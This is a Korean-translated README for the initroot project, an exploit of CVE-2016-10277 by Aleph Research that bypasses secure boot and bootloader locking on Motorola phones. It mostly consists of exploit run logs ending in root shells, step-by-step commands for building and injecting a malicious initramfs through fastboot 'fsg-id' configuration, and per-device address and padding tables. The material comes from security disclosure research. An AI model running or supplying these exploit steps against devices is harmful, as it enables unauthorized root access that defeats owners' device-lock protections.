alephsecurity/initroot모토로라 언테더드 탈옥: CVE-2016-10277을 악용한 보안 부팅 및 장치 잠금 우회
By Roee Hay / Aleph Research, HCL Technologies
이 익스플로잇은 장치에서 일시적인 제한 없는 루트 액세스를 획득합니다.
예를 들어, cedric에서 (일부 메시지는 가독성을 위해 제거됨):
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0xA2100000,1588596
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [ 1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [ 0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ #
이 익스플로잇은 장치에서 지속적인 루트 액세스를 획득합니다.
예를 들어, athene에서 (일부 메시지는 가독성을 위해 제거됨):
$ cd ./untethered/athene
$ ./initroot-untethered.sh
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x92000000,2505052
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [ 1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [ 0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a rdinit= root=/dev/mmcblk0p41
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
rebooting...
finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ #
initroot-<device>.cpio.gz를 사용하거나 직접 생성하세요:$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz && rm -fr ../tmp
$ cd ..
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
adb shell은 이제 root 셸을 제공합니다:$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
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이 취약점은 다른 Motorola 장치에도 영향을 미칠 수 있습니다: 다른 initramfs가 필요할 수 있습니다. initrd(SCRATCH_ADDR)의 다른 물리적 주소가 필요할 수 있습니다. PADDING도 달라질 수 있습니다.
| 장치 | 코드명 | SCRATCH_ADDR | PADDING | 커밋된 initramfs | 사용되지 않는 파티션 |
|---|
| Nexus 6 | shamu | 0x11000000 | 0x0 | AOSP userdebug | mmcblk0p11 |
| Moto G5 (XT1676) | cedric | 0xA0100000 | 0x2000000 | 릴리스, SELinux 비활성화, shell로 set{u,g}id, capabilities 드롭 및 adb 인증 등을 위해 패치된 init 및 adbd | mmcblk0p41 |
| Moto G4 (XT1622) | athene | 0x90000000 | 0x2000000 | "" | mmcblk0p48 |
| 장치 | 코드명 | SCRATCH_ADDR | 보고자 | 설명 |
|---|
| Moto G5 Plus | potter | 0xA0100000 | drbeat | 부팅 속성 주입. [증명] |
| Moto G4 Play (XT1607) | harpia | 0x90000000 | m-mullins | Amazon XT1607 전체 익스플로잇. [증명] |
| Moto G4 Play (XT1609) | harpia | 0x90000000 | @utoprime | Verizon XT1609 전체 익스플로잇. [증명] |
| Moto G4 (XT1625) | athene | 0x90000000 | @EWorcel | 부트 루프를 유발하는 initrd 주입. [증명] |
| Moto G3 | osprey | 0x90000000 | @asiekierka | 부트 루프를 유발하는 initrd 주입. [증명] |
| Moto G2 (XT1072) | thea | 0x11000000 | @TheElix | 부트 루프를 유발하는 initrd 주입. [증명] |
| Moto G (XT1032) | falcon_retfr | 0x11000000 | Pierre Zurek | 64MB 패딩을 사용한 전체 익스플로잇 [증명] |
| Moto E (XT830C) | condor_cdma | 0x0E000000 | fetcher | 32MB 패딩을 사용한 Tracfone/Verizon에 잠긴 XT830C 전체 익스플로잇 [증명] |
| 기타 | - | - | @jcase | [증명] |